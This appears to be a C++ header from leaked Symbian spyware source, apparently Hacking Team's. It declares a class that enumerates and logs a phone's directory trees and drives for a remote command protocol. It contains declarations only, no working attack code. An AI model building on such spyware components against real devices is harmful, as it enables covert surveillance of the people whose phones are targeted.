hackedteam/core-symbian

/*
 * StateFileSystem.h
 *
 *  Created on: 19/feb/2011
 *      Author: Giovanna
 */

#ifndef STATEFILESYSTEM_H_
#define STATEFILESYSTEM_H_

// INCLUDES
#include <e32std.h>
#include <e32base.h>
#include <f32file.h>

#include "AbstractState.h"
#include <HT\LogFile.h>




// CLASS DECLARATION
/**
 *  CStateFileSystem
 * 
 */
class CStateFileSystem : public CAbstractState
    {
public:
    // Constructors and destructor

    /**
     * Destructor.
     */
    ~CStateFileSystem();

    /**
     * Two-phased constructor.
     */
    static CStateFileSystem* NewL(MStateObserver& aObserver);

    /**
     * Two-phased constructor.
     */
    static CStateFileSystem* NewLC(MStateObserver& aObserver);

    virtual void ActivateL(const TDesC8& aData);
    virtual void ProcessDataL(const TDesC8& aData);
    
private:

    /**
     * Constructor for performing 1st stage construction
     */
    CStateFileSystem(MStateObserver& aObserver);

    /**
     * EPOC default constructor for performing 2nd stage construction
     */
    void ConstructL();

    
    /*
     * Log the required paths.
     * aPathList:
     * numDir | depth1 | dir1 | depth2 | dir2 | ... 
     * # numDir: numero di coppie depth e dir da leggere, INT
     * # depth(n): profondita' di ricerca della directory ennesima, INT
     * # dir(n): percorso della directory ennesima, UTF16-LE PASCAL Null-Terminated 
     */
    void LogFilesystemL(const TDesC8& aPathList);
    /*
     * Log the file system tree starting from a given aPath and for aLevel down 
     */
    void LogTreeL(RFs& aFs,const TDesC& aPath, TInt aLevel);
    
    /*
     * Log the availables drives (special case)
     */
    void LogDrives(RFs& aFs);
    
    /*
     * Construct record log data for general path
     */
    HBufC8* GetPathBuffer(TEntry aEntry, const TDesC& aParentPath);

    /*
     * Construct record log data for drives
     */
    HBufC8* GetDriveBuffer(const TDesC& aDrivePath);
    
private:
    
    TBuf8<16>        iSignKey;
    
    HBufC8*            iRequestData;
    HBufC8*            iResponseData;
    
    RFs                iFs;
    CLogFile*        iLogFs;
    };

#endif /* STATEFILESYSTEM_H_ */